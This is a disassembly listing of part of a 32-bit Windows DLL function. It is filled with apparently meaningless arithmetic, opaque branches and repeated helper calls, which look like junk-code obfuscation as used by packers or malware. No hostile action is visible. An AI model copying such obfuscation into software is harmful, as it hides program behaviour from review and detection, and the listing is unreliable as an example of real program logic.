push 0x7bc6041a
push ecx
push eax
call fcn.1007a8a0
mov dword [ebp - 0x20], eax
jmp case.default.0x100394d4
movzx edx, byte [ebp - 1]
add edx, 0xf0da
mov word [0x100ad0c0], dx
movzx eax, byte [ebp - 3]
cdq
sub eax, 0xab11df60
sbb edx, 0xfd1e5
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], edx
movsx eax, byte [0x100ad037]
imul eax, dword [0x100ad140]
movsx ecx, byte [0x100ad037]
add ecx, eax
mov byte [0x100ad037], cl
movzx edx, word [ebp - 8]
movzx eax, word [ebp - 8]
sub edx, eax
movzx ecx, word [ebp - 8]
imul ecx, edx
mov word [ebp - 8], cx
mov dl, byte [0x100adbec]
mov byte [str.px_04X_], dl
jmp 0x100397b1
mov eax, dword [ebp - 0x20]
xor ecx, ecx
add eax, dword [0x100ad150]
adc ecx, dword [0x100ad154]
mov dword [ebp - 0x870], eax
mov dword [ebp - 0x86c], ecx
mov edx, dword [ebp - 0x870]
or edx, dword [ebp - 0x86c]
je 0x10039711
mov dword [ebp - 0x2c], 0x440
mov eax, dword [0x100ad110]
or eax, dword [0x100ad114]
je 0x100396b7
movzx eax, byte [ebp - 2]
cdq
mov dword [ebp - 0x4ec], eax
mov dword [ebp - 0x4e8], edx
jmp 0x100396c9
mov ecx, dword [ebp - 0x54]
mov edx, dword [ebp - 0x50]
mov dword [ebp - 0x4ec], ecx
mov dword [ebp - 0x4e8], edx
mov eax, dword [ebp - 0x4ec]
mov dword [ebp - 0x48], eax
movzx ecx, word [ebp - 0x10]
add ecx, 0x6467dda0
mov dword [ebp - 0x48], ecx
mov dx, word [0x100adbec]
mov word [ebp - 0x10], dx
movsx eax, byte [0x100ad00d]
cdq
mov ecx, dword [0x100ad13c]
push ecx
mov ecx, dword [0x100ad138]
push ecx
push edx
push eax
call fcn.1007a8a0
mov byte [0x100ad00d], al
jmp 0x100397b1
cmp dword [0x100ad0b4], 0
je 0x100397b1
movzx edx, word [0x100ad0b8]
movzx eax, byte [ebp - 1]
sub edx, eax
movzx ecx, word [0x100ad0b8]
sub ecx, edx
mov word [0x100ad0b8], cx
movzx edx, byte [ebp - 4]
movsx eax, word [0x100ad0c4]
imul edx, eax
test edx, edx
jne 0x10039759
mov dword [ebp - 0x374], 1
jmp 0x10039763
mov dword [ebp - 0x374], 0
movsx eax, byte [0x100ad00e]
add eax, dword [ebp - 0x374]
cdq
mov ebx, eax
movzx eax, word [0x100ad120]
cdq
mov esi, eax
movzx eax, word [ebp - 8]
cdq
mov ecx, dword [ebp - 0x3c]
mov edi, dword [ebp - 0x38]
push edi
push ecx
push edx
push eax
call fcn.1007a8a0
add esi, eax
sub ebx, esi
mov byte [ebp - 2], bl
mov dl, byte [ebp - 1]
add dl, 1
mov byte [ebp - 1], dl
movsx eax, word [0x100ad0c4]
imul ecx, eax, 0x4f23d26b
mov byte [ebp - 2], cl
mov dl, byte [ebp - 2]
add dl, 1
mov byte [ebp - 2], dl
jmp 0x100393ed
mov eax, dword [0x100adbec]
mov dword [ebp - 0x1a8], eax
movzx ecx, word [0x100ad0ac]
cmp dword [ebp - 0x1c], ecx
jg 0x100397e2
mov dword [ebp - 0x378], 1
jmp 0x100397ec
mov dword [ebp - 0x378], 0
cmp dword [ebp - 0x378], 0xffffcb9b
jle 0x10039852
movsx edx, byte [0x100ad037]
cmp dword [ebp - 0x18], edx
jg 0x10039810
mov dword [ebp - 0x37c], 1
jmp 0x1003981a
mov dword [ebp - 0x37c], 0
cmp dword [ebp - 0x18], 0x45
jg 0x1003982c
mov dword [ebp - 0x380], 1
jmp 0x10039836
mov dword [ebp - 0x380], 0
mov eax, dword [ebp - 0x37c]
cmp eax, dword [ebp - 0x380]
jle 0x10039850
call dword [sym.imp.USER32.dll_AnyPopup]
mov word [0x100ad0ac], ax
jmp 0x100398a0
movzx ecx, word [ebp - 8]
test ecx, ecx
je 0x100398a0
movsx edx, byte [0x100ad042]
add edx, dword [0x100ad0e0]
movsx eax, byte [0x100ad042]
sub eax, edx
mov byte [0x100ad042], al
mov ecx, 4
imul edx, ecx, 0x13
mov eax, dword [ebp - 0x24]
mov dword [edx + 0x101ebbf8], eax
push 0x8564d
push 0x8b087c7c
mov ecx, dword [ebp - 0x50]
push ecx
mov edx, dword [ebp - 0x54]
push edx
call fcn.1007a8a0
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1a8]
add eax, 0x35c
mov dword [ebp - 0xa2c], eax
mov dword [0x100ad118], 0xf1a3e311
movsx ecx, byte [0x100ad043]
sub ecx, 0x4977d923
mov byte [0x100ad073], cl
mov edx, dword [0x100ad15c]
add edx, dword [0x100ad0b4]
mov eax, dword [0x100ad15c]
sub eax, edx
mov dword [0x100ad15c], eax
movzx ecx, byte [0x100ad0a6]
add ecx, 0x1d69621f
mov dword [ebp - 0x48], ecx
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0x1c]
cdq
push edx
push eax
mov edx, dword [0x100ad114]
push edx
mov eax, dword [0x100ad110]
push eax
call fcn.1007a8a0
mov dword [0x100ad110], eax
mov dword [0x100ad114], edx
mov ecx, dword [ebp - 0x1a8]
add ecx, 0x312
mov dword [ebp - 0xa30], ecx
mov dword [ebp - 0x2c], 3
movzx edx, byte [ebp - 1]
add edx, dword [ebp - 0x4c]
mov byte [ebp - 3], dl
movsx eax, word [0x100ad0b0]
test eax, eax
je 0x10039957
movsx ecx, word [ebp - 0xc]
mov dword [ebp - 0x384], ecx
jmp 0x10039964
movzx edx, byte [0x100ad00f]
mov dword [ebp - 0x384], edx
mov al, byte [ebp - 0x384]
mov byte [ebp - 3], al
mov eax, dword [ebp - 0x1c]
cdq
push 0x387b
push 0x496275d8
push edx
push eax
call fcn.1007a8a0
mov word [0x100ad0e4], ax
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x388], ecx
cmp dword [ebp - 0x388], 3
ja case.default.0x100399a4
mov edx, dword [ebp - 0x388]
jmp dword [edx*4 + 0x1003b8dc]
mov eax, dword [0x100ad110]
sub eax, 0xf5af170a
mov dword [ebp - 0x2c], eax
movzx ecx, word [ebp - 0x10]
movzx edx, word [0x100ad120]
sub ecx, edx
mov word [ebp - 0x10], cx
movzx eax, byte [ebp - 4]
add eax, dword [ebp - 0x1c]
add eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], eax
jmp case.default.0x100399a4
mov cl, byte [0x100adbec]
mov byte [ebp - 3], cl
movzx eax, word [0x100ad120]
cdq
add eax, 0x588cea73
mov word [ebp - 0x10], ax
mov eax, dword [0x100ad150]
mov edx, dword [0x100ad154]
mov cl, 6
call fcn.1007a900
mov byte [ebp - 2], al
movsx edx, byte [0x100ad00d]
mov eax, dword [ebp - 0x48]
sub eax, edx
mov dword [ebp - 0x48], eax
jmp case.default.0x100399a4
movzx ecx, byte [ebp - 4]
movzx edx, byte [0x100ad0a6]
and ecx, edx
not ecx
add ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2c]
sub eax, ecx
cdq
mov dword [0x100ad0e8], eax
mov dword [0x100ad0ec], edx
movzx eax, byte [ebp - 2]
imul ecx, eax, 0x30ca
mov word [0x100ad0f0], cx
mov dword [ebp - 0x24], 0x420d0929
movzx eax, word [0x100ad0f0]
cdq
xor eax, dword [ebp - 0x54]
mov word [0x100ad0f0], ax
jmp case.default.0x100399a4
movsx edx, byte [0x100ad00d]
movsx eax, word [0x100ad0e4]
imul edx, eax
mov byte [0x100ad00d], dl
mov ecx, 0xd9
mov word [0x100ad0c4], cx
mov dword [ebp - 0x2c], 4
mov eax, dword [0x100ad158]
cdq
mov ecx, dword [ebp - 0x34]
mov esi, dword [ebp - 0x30]
sub ecx, eax
sbb esi, edx
not ecx
not esi
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x40], esi
mov edx, dword [ebp - 0x1a8]
add edx, 0x5e5
mov dword [ebp - 0xa34], edx
mov byte [str.ZFreeSid], 0xbf
movsx eax, byte [0x100ad043]
cmp dword [0x100ad158], eax
jl 0x10039ae4
mov dword [ebp - 0x38c], 1
jmp 0x10039aee
mov dword [ebp - 0x38c], 0
cmp dword [0x100ad158], 0x55
jl 0x10039b03
mov dword [ebp - 0x390], 1
jmp 0x10039b0d
mov dword [ebp - 0x390], 0
mov ecx, dword [ebp - 0x38c]
cmp ecx, dword [ebp - 0x390]
je 0x10039b2c
jmp 0x1003b444
mov eax, dword [0x100ad150]
not eax
mov ecx, dword [0x100ad154]
not ecx
mov edx, dword [0x100ad108]
mov esi, dword [0x100ad10c]
mov dword [ebp - 0x878], eax
mov dword [ebp - 0x874], ecx
mov dword [ebp - 0x880], edx
mov dword [ebp - 0x87c], esi
mov eax, dword [ebp - 0x874]
cmp eax, dword [ebp - 0x87c]
jb 0x10039f90
ja 0x10039f84
mov ecx, dword [ebp - 0x878]
cmp ecx, dword [ebp - 0x880]
jbe 0x10039f90
mov dword [ebp - 0x398], 1
jmp 0x10039f9a
mov dword [ebp - 0x398], 0
mov edx, dword [ebp - 0x398]
not edx
test edx, edx
je 0x10039ff3
mov eax, dword [ebp - 0x18]
imul eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x18]
sub ecx, eax
mov dword [ebp - 0x18], ecx
mov edx, dword [0x100adbec]
xor eax, eax
mov dword [0x100ad0f8], edx
mov dword [0x100ad0fc], eax
mov eax, dword [ebp - 0x1c]
cdq
mov ecx, dword [ebp - 0x40]
push ecx
mov ecx, dword [ebp - 0x44]
push ecx
push edx
push eax
call fcn.1007a8a0
mov byte [0x100ad072], al
mov edx, dword [0x100ad100]
and edx, 0xc449
mov word [0x100ad0c0], dx
xor eax, eax
mov dword [0x100ad160], 0x83
mov dword [0x100ad164], eax
mov cl, byte [ebp - 1]
add cl, 1
mov byte [ebp - 1], cl
movzx edx, word [ebp - 0x10]
test edx, edx
je 0x1003a020
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x39c], eax
jmp 0x1003a029
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x39c], ecx
mov dl, byte [ebp - 0x39c]
mov byte [ebp - 1], dl
movzx eax, word [ebp - 0x10]
movsx ecx, word [ebp - 0xc]
sub eax, ecx
mov word [ebp - 0x10], ax
mov edx, dword [ebp - 0x20]
add edx, 1
xor eax, eax
mov dword [ebp - 0x888], edx
mov dword [ebp - 0x884], eax
mov ecx, dword [0x100ad160]
cmp ecx, dword [ebp - 0x888]
jne 0x1003a27f
mov edx, dword [0x100ad164]
cmp edx, dword [ebp - 0x884]
jne 0x1003a27f
mov eax, dword [ebp - 0x44]
add eax, 0x8f77
mov word [0x100ad0bc], ax
movsx eax, word [ebp - 0xc]
cdq
mov ecx, dword [ebp - 0x38]
add eax, dword [ebp - 0x3c]
adc edx, ecx
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], edx
mov edx, dword [0x100ad0f8]
mov eax, dword [0x100ad0fc]
mov dword [0x100ad150], edx
mov dword [0x100ad154], eax
movsx eax, byte [0x100ad042]
cdq
push 0x292d9
push 0x50925a0b
push edx
push eax
call fcn.1007a8a0
mov byte [0x100ad042], al
movsx ecx, byte [0x100ad073]
movzx edx, byte [ebp - 1]
lea eax, [edx + ecx + 0x3ce5]
mov byte [ebp - 1], al
movsx ecx, byte [0x100ad00e]
add ecx, 0xf59f
imul ecx, dword [ebp - 0x24]
mov dword [ebp - 0x24], ecx
mov edx, dword [0x100ad0b4]
sub edx, 0x29fe
movzx eax, byte [str.px_04X_]
imul eax, edx
mov byte [str.px_04X_], al
imul ecx, dword [0x100ad0e0], 0x75190f5f
xor edx, edx
mov dword [0x100ad0f8], ecx
mov dword [0x100ad0fc], edx
cmp dword [ebp - 0x48], 0
jne 0x1003a143
xor eax, eax
mov dword [ebp - 0x890], 1
mov dword [ebp - 0x88c], eax
jmp 0x1003a14e
xorps xmm0, xmm0
movlpd qword [ebp - 0x890], xmm0
mov esi, dword [ebp - 0x890]
add esi, 0xb5efdcdc
mov ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0xa68], edx
not ecx
movsx eax, byte [0x100ad09a]
cdq
add ecx, eax
sub esi, ecx
movzx eax, word [0x100ad120]
add eax, dword [ebp - 0x2c]
cdq
mov ecx, dword [0x100ad0e8]
or ecx, 0xcd
mov edi, dword [0x100ad0ec]
push edi
push ecx
push edx
push eax
call fcn.1007a8a0
and esi, eax
not esi
mov dword [ebp - 0x28], esi
movsx edx, byte [str.ZFreeSid]
cmp edx, 1
jne 0x1003a27f
movsx eax, word [0x100ad0bc]
movzx ecx, byte [str.px_04X_]
xor eax, ecx
mov byte [0x100ad043], al
movsx eax, byte [0x100ad00e]
cdq
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], edx
mov eax, dword [0x100ad148]
mov edx, dword [0x100ad14c]
mov cl, 3
call fcn.1007a8e0
mov word [ebp - 0x10], ax
imul eax, dword [ebp - 0x18], 0xb549
cdq
mov dword [0x100ad0d8], eax
mov dword [0x100ad0dc], edx
mov dl, byte [0x100ad0e8]
mov byte [str.px_04X_], dl
jmp 0x1003a27f
xor edx, edx
mov dword [0x100ad160], 0x83
mov dword [0x100ad164], edx
mov eax, dword [0x100ad0e0]
sub eax, 0x5d
mov dword [0x100ad15c], eax
movsx ecx, word [ebp - 0xc]
not ecx
mov edx, dword [ebp - 0x18]
sub edx, ecx
mov word [0x100ad120], dx
movzx eax, byte [ebp - 3]
imul ecx, eax, 0xde27
movsx edx, word [ebp - 0xc]
add edx, ecx
mov word [ebp - 0xc], dx
mov eax, dword [ebp - 0x54]
xor eax, 0xf8
mov dword [0x100ad100], eax
mov ecx, dword [ebp - 0x28]
add ecx, 0x5030
mov byte [ebp - 3], cl
cmp dword [ebp - 0x24], 0
jne 0x1003a2f7
xor edx, edx
mov dword [ebp - 0x4fc], 1
mov dword [ebp - 0x4f8], edx
jmp 0x1003a302
xorps xmm0, xmm0
movlpd qword [ebp - 0x4fc], xmm0
mov eax, dword [ebp - 0x4f8]
cmp eax, dword [ebp - 0x40]
jl 0x1003a326
jg 0x1003a31a
mov ecx, dword [ebp - 0x4fc]
cmp ecx, dword [ebp - 0x44]
jbe 0x1003a326
mov dword [ebp - 0x3a0], 1
jmp 0x1003a330
mov dword [ebp - 0x3a0], 0
movsx edx, word [0x100ad0c4]
movsx eax, byte [0x100ad09a]
sub edx, eax
cmp dword [ebp - 0x3a0], edx
jne 0x1003a354
mov dword [ebp - 0x3a4], 1
jmp 0x1003a35e
mov dword [ebp - 0x3a4], 0
mov ecx, dword [ebp - 0x3a4]
not ecx
test ecx, ecx
je 0x1003a387
mov dx, word [ebp - 0x10]
mov byte [ebp - 1], dl
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 0x38]
add eax, dword [ebp - 0x3c]
adc ecx, edx
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], ecx
jmp 0x1003a3bd
movzx eax, word [ebp - 8]
imul ecx, eax, 0x185b24c5
mov word [0x100ad130], cx
cmp dword [ebp - 0x48], 0
je 0x1003a3aa
movzx edx, byte [ebp - 1]
mov dword [ebp - 0x3a8], edx
jmp 0x1003a3b4
movsx eax, word [ebp - 0xc]
mov dword [ebp - 0x3a8], eax
mov cl, byte [ebp - 0x3a8]
mov byte [ebp - 4], cl
mov edx, dword [0x100adbec]
mov dword [ebp - 0x14c], edx
mov eax, dword [ebp - 0x14c]
add eax, 0x5a1
mov dword [ebp - 0x3d8], eax
movzx eax, byte [0x100ad00f]
cdq
mov dword [ebp - 0x898], eax
mov dword [ebp - 0x894], edx
mov ecx, dword [ebp - 0x894]
cmp ecx, dword [ebp - 0x50]
jb 0x1003a412
ja 0x1003a406
mov edx, dword [ebp - 0x898]
cmp edx, dword [ebp - 0x54]
jbe 0x1003a412
mov dword [ebp - 0x3ac], 1
jmp 0x1003a41c
mov dword [ebp - 0x3ac], 0
cmp dword [ebp - 0x3ac], 0xc2
jl 0x1003a52b
movsx eax, word [0x100ad0c4]
test eax, eax
je 0x1003a4ac
mov ecx, dword [0x100ad138]
add ecx, dword [0x100ad110]
movsx eax, word [ebp - 0x14]
cdq
xor ecx, eax
mov byte [0x100ad00f], cl
mov eax, dword [ebp - 0x1c]
cdq
mov ecx, eax
sub ecx, 0xb7647057
movzx eax, word [0x100ad120]
cdq
add eax, ecx
mov word [0x100ad120], ax
cmp dword [0x100ad0c8], 0
je 0x1003a484
movsx edx, word [0x100ad0e4]
mov dword [ebp - 0x3b0], edx
jmp 0x1003a491
movsx eax, byte [0x100ad09a]
mov dword [ebp - 0x3b0], eax
mov cx, word [ebp - 0x3b0]
mov word [ebp - 0x14], cx
mov dx, word [0x100adbec]
mov word [0x100ad0b0], dx
jmp 0x1003a52b
mov eax, dword [0x100ad0f8]
or eax, dword [0x100ad0fc]
je 0x1003a52b
mov dword [0x100ad0b4], 0
movsx ecx, word [0x100ad0c0]
movsx edx, word [0x100ad11c]
sub ecx, edx
movsx eax, word [0x100ad0c0]
sub eax, ecx
mov word [0x100ad0c0], ax
movzx ecx, byte [ebp - 3]
add ecx, dword [0x100ad0b4]
jne 0x1003a4fa
mov dword [ebp - 0x3b4], 1
jmp 0x1003a504
mov dword [ebp - 0x3b4], 0
movsx edx, word [0x100ad0bc]
imul edx, dword [ebp - 0x3b4]
mov word [0x100ad0c0], dx
mov eax, dword [ebp - 0x20]
mov dword [0x100ad0a8], eax
movsx ecx, word [0x100ad0bc]
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x14c]
add edx, 0x34d
mov dword [ebp - 0xa6c], edx
mov byte [0x100ad073], 0
movsx eax, byte [0x100ad00d]
shl eax, 7
mov dword [ebp - 0x4c], eax
xor ecx, ecx
mov dword [0x100ad128], 0x3ff534b
mov dword [0x100ad12c], ecx
movsx edx, word [ebp - 0xc]
movzx eax, word [ebp - 0x10]
sub edx, eax
mov word [ebp - 0xc], dx
mov cl, byte [0x100ad073]
mov byte [ebp - 0x5e4], cl
cmp byte [ebp - 0x5e4], 0
je 0x1003a588
jmp 0x1003a5ca
mov dword [0x100ad0a8], 4
mov edx, dword [0x100ad0e8]
add edx, 0x88336da8
mov eax, dword [0x100ad0ec]
adc eax, 0
mov dword [0x100ad148], edx
mov dword [0x100ad14c], eax
movsx eax, byte [0x100ad00d]
cdq
mov ecx, eax
xor ecx, 0x725a502e
mov eax, dword [ebp - 0x48]
cdq
sub eax, ecx
mov dword [ebp - 0x48], eax
mov edx, dword [ebp - 0x14c]
add edx, 0x309
mov dword [ebp - 0xa70], edx
mov dword [0x100ad100], 0xbec85c45
movsx eax, word [0x100ad0c0]
mov ecx, dword [0x100ad15c]
imul eax, ecx
cdq
mov ecx, dword [ebp - 0x3c]
mov esi, dword [ebp - 0x38]
add ecx, 0x18bd46a3
adc esi, 0
push esi
push ecx
push edx
push eax
call fcn.1007a8a0
mov ecx, eax
mov esi, edx
movsx eax, word [0x100ad130]
movsx edx, byte [0x100ad073]
and eax, edx
movzx edx, byte [ebp - 3]
imul eax, edx
not eax
cdq
add ecx, eax
adc esi, edx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x30], esi
movsx eax, word [ebp - 0xc]
sar eax, 2
mov word [0x100ad0c4], ax
movzx ecx, word [0x100ad0b8]
xor ecx, 0x50d
mov byte [str.px_04X_], cl
movsx edx, byte [0x100ad037]
test edx, edx
je 0x1003a671
movsx eax, word [0x100ad0bc]
mov dword [ebp - 0x3b8], eax
jmp 0x1003a67a
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x3b8], ecx
mov dl, byte [ebp - 0x3b8]
mov byte [0x100ad00d], dl
mov eax, dword [0x100ad158]
cdq
mov ecx, dword [0x100ad0ec]
push ecx
mov ecx, dword [0x100ad0e8]
push ecx
push edx
push eax
call fcn.1007a8a0
mov ecx, eax
mov esi, edx
mov eax, dword [0x100ad158]
cdq
push esi
push ecx
push edx
push eax
call fcn.1007a8a0
mov dword [0x100ad158], eax
mov ecx, dword [0x100ad100]
xor esi, esi
movzx eax, byte [ebp - 1]
cdq
add eax, 0xbec85c45
adc edx, 0x90442
mov dword [ebp - 0x8a0], ecx
mov dword [ebp - 0x89c], esi
mov dword [ebp - 0x8a8], eax
mov dword [ebp - 0x8a4], edx
mov edx, dword [ebp - 0x8a0]
cmp edx, dword [ebp - 0x8a8]
jne 0x1003a7f3
mov eax, dword [ebp - 0x89c]
cmp eax, dword [ebp - 0x8a4]
jne 0x1003a7f3
mov ecx, dword [0x100ad148]
mov esi, dword [0x100ad14c]
mov eax, dword [ebp - 0x1c]
cdq
add eax, 0xbe5aa5bb
adc edx, 0x51da7
mov dword [ebp - 0x8b0], ecx
mov dword [ebp - 0x8ac], esi
mov dword [ebp - 0x8b8], eax
mov dword [ebp - 0x8b4], edx
mov edx, dword [ebp - 0x8b0]
cmp edx, dword [ebp - 0x8b8]
jne 0x1003a7f3
mov eax, dword [ebp - 0x8ac]
cmp eax, dword [ebp - 0x8b4]
jne 0x1003a7f3
jmp 0x1003a7f3
mov dword [0x100ad100], 0xbec85c45
mov eax, dword [ebp - 0x28]
add eax, 0x8ba8
mov dword [ebp - 0x4c], eax
movsx ecx, word [0x100ad130]
imul edx, ecx, 0xe3
mov dword [ebp - 0x18], edx
movzx eax, byte [ebp - 2]
sub eax, 0x19
mov word [ebp - 8], ax
mov eax, dword [ebp - 0x54]
mov edx, dword [ebp - 0x50]
mov cl, 6
call fcn.1007a8e0
mov dword [0x100ad0f8], eax
mov dword [0x100ad0fc], edx
movzx eax, byte [0x100ad0a6]
cdq
add eax, 0x1db306d5
mov word [ebp - 8], ax
movzx ecx, byte [0x100ad072]
test ecx, ecx
je 0x1003a866
movsx edx, word [0x100ad0cc]
mov dword [ebp - 0x3bc], edx
jmp 0x1003a871
mov eax, dword [0x100ad0c8]
mov dword [ebp - 0x3bc], eax
mov eax, dword [ebp - 0x3bc]
cdq
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x150], 0x2233
movzx eax, word [0x100ad0ac]
cdq
xor eax, 0xc33c49db
mov word [0x100ad0cc], ax
movzx ecx, byte [0x100ad00f]
sub ecx, 0x25
mov dword [0x100ad0e0], ecx
mov edx, dword [ebp - 0x1c]
sub edx, 1
mov dword [ebp - 0x1c], edx
cmp dword [ebp - 0x150], 0x21ac
jle 0x1003ace8
movsx eax, word [0x100ad0bc]
test eax, eax
je 0x1003ac71
mov byte [ebp - 2], 4
movsx ecx, word [0x100ad0bc]
imul eax, ecx, 0xe5
cdq
mov dword [0x100ad148], eax
mov dword [0x100ad14c], edx
movzx edx, byte [str.px_04X_]
imul edx, dword [ebp - 0x1c]
movzx eax, byte [str.px_04X_]
add eax, edx
mov byte [str.px_04X_], al
mov ecx, 2
imul edx, ecx, 0x61
mov ax, word [ebp - 8]
mov word [edx + 0x100d5678], ax
mov eax, dword [0x100ad118]
cdq
mov ecx, eax
mov esi, edx
add ecx, dword [0x100ad0e8]
adc esi, dword [0x100ad0ec]
movzx eax, byte [0x100ad072]
xor eax, dword [0x100ad0b4]
cdq
push edx
push eax
push esi
push ecx
call fcn.1007a8a0
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x48], 0
jne 0x1003a95e
mov dword [ebp - 0x3c0], 1
jmp 0x1003a968
mov dword [ebp - 0x3c0], 0
movzx eax, byte [ebp - 4]
cdq
mov ecx, dword [ebp - 0x54]
sub ecx, eax
mov eax, dword [ebp - 0x50]
sbb eax, edx
mov dword [ebp - 0x8c0], ecx
mov dword [ebp - 0x8bc], eax
mov ecx, dword [ebp - 0x8c0]
or ecx, dword [ebp - 0x8bc]
jne 0x1003a9a5
xor edx, edx
mov dword [ebp - 0x8c8], 1
mov dword [ebp - 0x8c4], edx
jmp 0x1003a9b0
xorps xmm0, xmm0
movlpd qword [ebp - 0x8c8], xmm0
mov eax, dword [0x100ad140]
xor eax, dword [ebp - 0x3c0]
movzx ecx, byte [ebp - 1]
movzx edx, byte [ebp - 2]
imul ecx, edx
add ecx, eax
movsx eax, word [0x100ad0e4]
cdq
sub eax, dword [0x100ad138]
add eax, dword [ebp - 0x8c8]
xor ecx, eax
mov dword [ebp - 0x1c], ecx
movzx edx, byte [ebp - 2]
mov dword [ebp - 0x3c4], edx
cmp dword [ebp - 0x3c4], 4
ja case.default.0x1003a9fe
mov eax, dword [ebp - 0x3c4]
jmp dword [eax*4 + 0x1003b8ec]
mov ecx, dword [ebp - 0x20]
add ecx, 0x190b710f
xor edx, edx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x38], edx
movzx eax, byte [ebp - 4]
sub eax, 0x62b5
mov dword [0x100ad100], eax
cmp dword [ebp - 0x48], 0
je 0x1003aa3e
mov ecx, dword [ebp - 0x44]
mov edx, dword [ebp - 0x40]
mov dword [ebp - 0x504], ecx
mov dword [ebp - 0x500], edx
jmp 0x1003aa4f
movzx eax, byte [ebp - 1]
cdq
mov dword [ebp - 0x504], eax
mov dword [ebp - 0x500], edx
mov al, byte [ebp - 0x504]
mov byte [ebp - 2], al
movsx ecx, byte [0x100ad042]
add ecx, 0x4edbc8f7
mov word [0x100ad0c0], cx
mov edx, dword [0x100ad110]
xor edx, 0x7d837fce
mov dword [ebp - 0x20], edx
movsx eax, byte [str.ZFreeSid]
cdq
add eax, 0x644db66f
mov dword [ebp - 0x48], eax
jmp case.default.0x1003a9fe
mov dword [ebp - 0x24], 0xc2
mov eax, dword [0x100ad0a8]
shl eax, 6
mov word [ebp - 8], ax
mov ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0x30]
add ecx, 1
adc edx, 0
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x30], edx
movzx eax, byte [0x100ad00f]
test eax, eax
je 0x1003aacf
movsx ecx, byte [0x100ad043]
mov dword [ebp - 0x3c8], ecx
jmp 0x1003aad8
mov edx, dword [ebp - 0x18]
mov dword [ebp - 0x3c8], edx
mov eax, dword [ebp - 0x3c8]
cdq
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x1c]
imul eax, dword [ebp - 0x1c]
xor eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], eax
imul ecx, dword [0x100ad158], 0x8a
mov word [ebp - 0x14], cx
jmp case.default.0x1003a9fe
mov dword [ebp - 0x20], 0xd6f95245
movsx edx, word [0x100ad0b0]
add edx, dword [0x100ad0a8]
mov word [0x100ad0b0], dx
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], ecx
jmp case.default.0x1003a9fe
movzx edx, byte [ebp - 2]
imul eax, edx, 0x28991372
cdq
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], edx
imul eax, dword [ebp - 0x18], 0x49
cdq
mov dword [0x100ad160], eax
mov dword [0x100ad164], edx
movsx eax, word [0x100ad0c0]
sub eax, 0x9723
mov dword [ebp - 0x20], eax
jmp case.default.0x1003a9fe
movsx ecx, byte [str.E2_wcsrchr]
movzx edx, word [0x100ad120]
imul ecx, edx
movsx eax, byte [str.E2_wcsrchr]
add eax, ecx
mov byte [str.E2_wcsrchr], al
mov ecx, dword [ebp - 0x44]
or ecx, dword [ebp - 0x40]
jne 0x1003ab99
mov dword [ebp - 0x3d0], 1
jmp 0x1003aba3
mov dword [ebp - 0x3d0], 0
movsx edx, word [0x100ad11c]
test edx, edx
jne 0x1003abba
mov dword [ebp - 0x3cc], 1
jmp 0x1003abc4
mov dword [ebp - 0x3cc], 0
mov ecx, dword [ebp - 0x44]
add ecx, 0xb3
mov esi, dword [ebp - 0x40]
adc esi, 0
movsx edx, byte [str.E2_wcsrchr]
mov eax, dword [ebp - 0x3cc]
sub eax, edx
cdq
add ecx, eax
adc esi, edx
mov dword [ebp - 0x8d0], ecx
mov dword [ebp - 0x8cc], esi
mov eax, dword [ebp - 0x8d0]
or eax, dword [ebp - 0x8cc]
jne 0x1003ac0d
mov dword [ebp - 0x3d4], 1
jmp 0x1003ac17
mov dword [ebp - 0x3d4], 0
movsx ecx, byte [0x100ad073]
add ecx, dword [ebp - 0x3d0]
movsx edx, byte [0x100ad043]
or edx, 0x23ac
add ecx, edx
not ecx
add ecx, dword [ebp - 0x3d4]
mov word [0x100ad0e4], cx
movsx eax, word [0x100ad0cc]
cdq
mov ecx, eax
add ecx, dword [ebp - 0x54]
movsx eax, word [0x100ad0cc]
cdq
add eax, ecx
mov word [0x100ad0cc], ax
movzx eax, word [0x100ad0f0]
cdq
add eax, 0xc5afe0dd
mov byte [ebp - 4], al
jmp 0x1003acd4
mov edx, 0x1baa
test edx, edx
je 0x1003acd4
mov eax, dword [0x100ad0e0]
sub eax, dword [ebp - 0x2c]
mov dword [0x100ad0e0], eax
mov ecx, dword [ebp - 0x18]
mov word [ebp - 0xc], cx
mov eax, dword [ebp - 0x4c]
sub eax, 0xe4
cdq
mov dword [0x100ad128], eax
mov dword [0x100ad12c], edx
mov eax, dword [0x100ad0a8]
cdq
push 0x33088
push 0x24977d6c
push edx
push eax
call fcn.1007a8a0
mov dword [0x100ad0d8], eax
mov dword [0x100ad0dc], edx
movzx edx, byte [0x100ad072]
sub edx, 0x56
mov dword [0x100ad0a8], edx
mov eax, dword [ebp - 0x150]
sub eax, 1
mov dword [ebp - 0x150], eax
jmp 0x1003a8b4
mov ecx, dword [ebp - 0x3d8]
sub ecx, dword [ebp - 0x3d8]
cmp ecx, 0xfe
je 0x1003b444
movzx edx, byte [ebp - 1]
test edx, edx
je 0x1003ad13
movzx eax, byte [0x100ad0a6]
test eax, eax
jne 0x1003ad3f
movsx ecx, word [0x100ad0d0]
cmp ecx, 0xdb
jl 0x1003ad3f
